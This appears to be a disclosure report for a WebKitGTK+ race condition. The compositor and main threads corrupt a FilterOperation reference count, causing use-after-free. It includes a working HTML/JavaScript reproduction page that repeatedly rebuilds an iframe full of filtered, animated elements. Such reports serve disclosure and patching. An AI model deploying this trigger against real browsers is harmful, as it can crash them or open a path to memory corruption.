VULNERABILITY DETAILS
The compositor thread in WebKitGTK+ might alter a FilterOperation object's reference count variable at the same time as the main thread. Then the reference count corruption might lead to a UAF condition.


REPRODUCTION CASE
-->

<html>
<style>
@keyframes foo {
    0% { opacity: 0; }
    100% { opacity: 1; }
}

div {
  animation-name: foo;
  animation-duration: 1s;
  animation-iteration-count: infinite;
  filter: saturate(50%);
}
</style>
<body>
<script>
    frame = document.createElement("iframe");

    setInterval(_ => {
      frame.remove();
      document.body.appendChild(frame);

      doc = frame.contentDocument;
      doc.head.appendChild(document.querySelector("style").cloneNode(true));

      elt = document.createElement("div");
      elt.textContent = "foo";
      let elements = [];

      for (let i = 0, count = Math.random() * 50; i < count; ++i) {
        elements[i] = doc.body.appendChild(elt.cloneNode(true));
        elements[i].clientWidth;
      }
    }, Math.random() * 500);
</script>
</body>
</html>
